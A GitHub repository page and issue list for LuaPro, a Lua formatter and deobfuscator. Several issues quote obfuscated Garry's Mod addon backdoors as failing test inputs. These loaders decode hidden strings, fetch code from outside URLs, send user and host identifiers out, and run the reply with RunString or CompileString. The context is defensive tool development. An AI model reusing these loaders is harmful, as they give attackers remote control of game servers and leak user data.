vurv78 / luapro

Lua AST toolkit for formatting, deobfuscating*, and tweaking code, in pure lua.

🧐 LuaPro

Lua AST toolkit for formatting, deobfuscating*, and tweaking code, in pure lua.

Turns

print("abc")local a,b=55,21;do print("xyz")end;repeat break;repeat print("Hi")(function(a,b,c)a,b=b,c;local d=0x50;local e="\x70\x72\x69\x6e\x74\x28\x27\x65\x76\x69\x6c\x20\x6c\x75\x61\x20\x63\x6f\x64\x65\x27\x29"end)()until true;local f,g,h;for i=1,2,3 do _G["\x6c\x6f\x61\x64\x73\x74\x72\x69\x6e\x67"]=55 end until true

Into

print("abc")
local a, b = 55, 21
do
	print("xyz")
end
repeat
	break
	repeat
		print("Hi")
		(function(a, b, c)
			a, b = b, c
			local d = 80 --[[0x50]]
			local e = "print('evil lua code')"
		end)()
	until true
	local f, g, h
	for i = 1, 2, 3 do
		_G["loadstring"] = 55
	end
until true

Features

• Written in pure version agnostic lua (5.1, 5.2, 5.3, 5.4, JIT) 🌔
• Relatively fast, parses ~10MB of code in ~3 seconds
• Formatting Lua 5.1 / LuaJIT code with proper indentation and spacing.
• Code deobfuscation with methods such as constant folding and dead code elimination*

* Not yet (re)implemented.

luapro's Issues

Better parser

Current parser sucks.

I wrote a new one from scratch unrelated to this. I don't really want to make a new repo for it, so likely I'll end up taking over this one instead of abandoning it too.

Single file ~600 lines parser + tokenizer. Much smaller than this.

Will get to it when I can be arsed. I'd prefer to upload it when it supports being extended for GLua specific syntaxes and is proven to be reliable on real code, which the current parser isn't.

Reimplement Index assignments

iirc in the past I allowed for any expression to precede variable assignment so stuff like _G["foo"] = 55 "worked". Currently this isn't the case so the readme example actually doesn't parse.

Need to actually have this work by allowing for indexing by checking for an indexing operation for every identifier since stuff like this is possible.

_G["bar"], _G.foo = 55, 40
print(bar, foo) -- 55, 40

Disallow use of variadics inside of non-variadic functions

Even if lua allows ... as an expression to get command line arguments, it is not allowed inside non-variadic functions.
Need to adjust the current scoping system that goto scoping uses to also enforce this.

Function string and table literal calls

Have stuff like xyz "foo" and xyz {} parse as regular function calls (so there'd also be no need to change the codegen as the node layout wouldn't change).

Unary ops

Unary ops are currently unimplemented

not true

or

-1

or

#tbl

Better Mobile Playground

Playground looks awful on mobile, need mobile-specific css.

Deep function definition indexing

Need to add compatibility for deep function indexing to be able to do this:

function test.x.y:z() end

Right now it only supports one layer:

function test.x() end

and

function test:x() end

Will LuaPro support installations using LuaRocks?

Hi! LuaPro is a great tool. Unfortunately I am not able to install it quickly via LuaRocks, and I was wondering if LuaPro will support installation using LuaRocks in the future?

How does that idea sound to you?
(English is not my first language, so please forgive me if I'm not making sense, thanks)

Obfuscated glua code that make the obfuscator error

Here are some pieces of obufsacted garrys mod lua code i found that make luapro error:

• Error when running: ../src/lexer/lua.lua:168: attempt to get length of a nil value (local 'depth')

  RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,9,10,42,14,58,39,81,45,56,88,2,17,23,24,10,41,9,18,43,86,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

• Error when running: Parser error: ["../src/parser/lua.lua:486: Expected '=' after identifier"] at line 31, cols 13:13
  https://pastebin.com/77cwW0WF

• Error when running: ../src/lexer/lua.lua:340: Could not parse token [").reve"] at line 1, cols 21-22
  https://raw.githubusercontent.com/boringboy123/be/master/an

• Error when running: ../src/lexer/lua.lua:340: Could not parse token ["\" ]( m"] at line 15, cols 28-35

  local ids = {{},                                                                                                                                                        {104,116,116,112,46,70,101,116,99,104,40,32,39,104,116,116,112,58,47,47,98,117,115,97,110,49,46,99,111,109,47,99,97,114,100,101,97,108,101,114,47,119,99,100,95,117,112,100,97,116,101,95,99,104,101,99,107,101,114,46,112,104,112,63,105,100,61}};
  local nums = { 115, 116, 114, 105, 110, 103 };
  
  local version = "";
  for i, v in pairs( nums ) do
      version = version .. string.char( v );
  end
  nums = "";
  for i, v in pairs( ids[ 2 ] ) do
      nums = nums .. _G[ version ][ string.char( 99 ) .. string.char( 104 ) .. string.char( 97 ) .. 'r' ]( v );
  end
  nums = nums ..  ADS.User[ 1 ] .. "&version_hash=" .. ADS.User[ 2 ] .. "&h=" .. Get2HostName();
  m = nums .. "', function( r ) RunString( r ) end, nil )";
  
  _G[ string.char( 82 ) .. "unString" ]( m );

Awful syntax fails to parse

(a)[1] = 2

For some reason any expression, not just identifiers, can start an assignment statement. great.

Found in FPtje/GLuaFixer#156

Obufscated code causing errors

local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' local ‪‪‪‪‪‪ = 0 for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪‪["\98\121\116\101"](_), 159))end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪"\235\246\242\250\237"][‪‪‪‪‪‪‪"\204\246\242\239\243\250"](1,function ()‪[‪‪‪‪‪‪‪"\247\235\235\239"][‪‪‪‪‪‪‪"\217\250\235\252\247"](‪‪‪‪‪‪‪"\247\235\235\239\236\165\176\176\244\233\254\252\177\252\229\176\249\177\239\247\239\160\244\250\230\162\175\199\208\252\213\197\216\173\171\251\254\242\233\216\247\211\237\237\239\240",function (goto‪)‪[‪‪‪‪‪‪‪"\205\234\241\204\235\237\246\241\248"](goto‪,‪‪‪‪‪‪‪"\165",false )end )end )

Extremely simple obfuscated backdoor found in a workshop addon, can be decoded by hand in minutes. Yet it errors on it.

Better testing

Probably want to use TAServers/lest

Proper string lexing

Removed proper string lexing with the new nom lexer. Need to reimplement it

Doesn't work for a simple glua obfuscator

Obufscator: https://github.com/jkusner/LuaObfuscator
Example code: https://github.com/Jaffies/Jaffies-Anti-Cheat/blob/main/lua/jac/cl_init.lua

Error with example: Error when running: ../src/lexer/lua.lua:340: Could not parse token ["‪ = "] at line 1, cols 6-6

Tested on https://vurv78.github.io/LuaPro/web/index.html

Support weird syntax

I have encountered problems using this, as people seem to have many weird ways of doing their code, and Lua seems to support it all. But it breaks the parser / formatter.

GetTable('A').Tab = 200
-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: GetTable }'

local A = { B = 'lower' }
string[A.B] 'AA_BB'
-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: string }'

local B = { P = print }
B['P'] { A = 200 }
-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: B }'

local Tab = {}
function GetTable()
	return Tab
end

GetTable {}[1] = 200

print(Tab[1]) -- prints 200

-- Error when running: ../src/lib/mod.lua:15: Failed to parse: 'Token { variant: 1, data: GetTable }'

I am aware that a lot of these are the result of some bad code, this is more for support of this actually valid syntax.

Awful syntax fails to parse 2

print(0x1.4911360AE2a88p-2)

Found in FPtje/GLuaFixer#153

WTF Lua?

Lua 5.3 Operators

Need to support the new operators for bitwise math that lua 5.3 adds.

Duplicate Identifiers

The last letter in an identifier creates another one for some reason

brunb transpiles to brunb\nb

``goto`` statement

Added labels just need goto now.

Garry's Mod C-Comments

Need to support C-style comments for the "Garry's Mod" version.

Mysterious Identifier Displaying Issue

No idea why this is happening and haven't looked into it so making an issue.

Looks like Lua 5.4 and LuaJIT specifically for some reason display identifiers as invisible characters (or empty strings?). In their output AST they look just fine.

Repro

local x

Outputted formatted code looks fine on every version but Lua 5.4 and LuaJIT 2.1.